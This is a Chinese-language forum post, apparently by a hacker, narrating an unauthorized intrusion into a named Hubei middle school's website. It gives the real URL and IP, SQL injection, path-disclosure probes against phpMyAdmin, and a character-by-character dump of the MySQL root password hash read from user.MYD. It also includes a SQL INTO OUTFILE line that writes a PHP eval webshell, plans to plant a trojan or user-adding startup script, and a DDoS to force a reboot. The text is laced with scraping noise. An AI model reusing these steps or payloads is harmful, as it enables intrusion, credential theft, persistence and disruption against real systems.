友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
$ @! h+ _% {: x7 \$ o发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！

# ?  E+ n' z+ y
; j  b+ W$ @) x/ ?( H
2 G! R2 t! ?$ ^, J; A( ]常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
7 g! ]8 d8 O% }- i5 ?$ h
% p$ k" J# V, w+ w! u- x试着爆绝对路径：
2 m5 {5 F9 O/ ?& ~; h: y9 ~. m1./phpMyAdmin/index.php?lang[]=1  
& k8 c1 u1 c. ^# K0 s- _2./phpMyAdmin/phpinfo.php  
3./load_file()  
9 A5 T' \: S6 g( j1 L1 U+ Z+ I4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
4 K) y* x- U1 |! u% b6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
0 {2 \) t( c! d1 m# x- q) }
6 M2 W; n7 p+ I& o均不行...........................

5 j' r6 x8 }$ ]. u3 l御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

2 S/ z0 W5 u% j权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

" z0 O: X# Z0 R6 s$ ~) Z默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

7 ?* k! H9 X+ ~. ?+ z敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

" l; Q+ @* r/ D: s, o4 n( {想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
! A( k* ], y- _) P; [/ f% L
# m: j$ y5 {5 D8 B自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

成功读到root密码：

17---- r(0072)
# z9 G2 h" \" a7 T6 J18---- o(006f)
0 O. c$ X* k8 B" p: [19---- o(006f)
20---- t(0074)
. l1 e$ h* N% z2 b5 s* a7 p21---- *(002a)
22---- 8(0038)
23---- 2(0032)
& i0 Q* D: _& Q24---- E(0045)
% A* `+ {+ p8 ^9 u; S9 t25---- 1(0031)
: i  g7 {' p! v1 I3 x26---- C(0043)
% z* i; Z7 {6 R( b  |27---- 5(0035)
28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
31---- A(0041)
4 A, ^0 N3 i3 ?" M% T) K5 u6 i, `32---- 9(0039)
33---- B(0042)
" G3 S- K' [. w4 j: ?34---- 5(0035)
35---- 4(0034)
& q5 O" S3 e8 D- t36---- 8(0038)
37---- 6(0036)
: B* p+ E: q  N3 u2 r38---- 4(0034)
  m; f" S& N8 m. ~' G  s& C' b" \39---- 9(0039)
40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
" j5 ?) i1 ^2 U& A8 U6 M45---- 9(0039)
/ c- U+ k) j4 L8 x! t( E46---- 8(0038)
2 W* u+ K% B) |! x% o# p47---- F(0046)
/ }+ c$ z; w7 ^: z48---- F(0046)
6 C5 D. E, @6 C9 R1 P! j49---- 4(0034)
50---- F(0046)
2 l6 W- L7 _$ g4 j0 k. F51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
) ^: j  F1 A8 n: E. L+ _" `56---- A(0041)
57---- B(0042)
/ D# `' x% N2 F6 E7 l" J7 x58---- *(0044)
59---- *(0035)
60---- *(0041)
) j" h9 U4 q( p" U: k. Y$ q61---- *0032)
0 }& K' c$ Z; M2 m" F
解密后成功登陆phpmyamin
( _7 P9 H9 G2 }                          
2 i+ _0 @0 {! q/ |( U- V# T' w
5 p9 w& }/ k9 i6 P) I4 G& Y                             
# k0 q/ E# ]/ v! E" Q  C1 ?- h
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

1 `8 w1 C, y/ _3 g7 i' y6 Z成功执行，拿下shell，菜刀连接：
: V4 i# i( Y4 @
服务器不支持asp,aspx,php提权无果...................
+ M+ w! C5 l7 U* @
; ?$ A9 e* R7 A% x* A2 y但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
2 e3 W5 }1 L5 J% W2 @/ G

服务器上已经有个隐藏帐号了

5 v1 O$ F5 x& I1 X4 [

别名     administrators
- V6 V+ H& B( V: {注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
admin
% Z/ J' P( u/ }9 b+ `% YAdministrator
# ]" s" |# v. Y3 T: P- o( lslipper$
+ p0 `( S3 ^; D0 ~8 Z8 h4 A  e8 Fsqluser
, u! R) p2 ~3 [1 ]  i* n& L命令成功完成。
8 k& o7 a# j0 |& Y' V% p% f9 h
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
8 }% W$ d9 G- \
ddos服务器重启，不然就只能坐等服务器重启了...............................

      

angel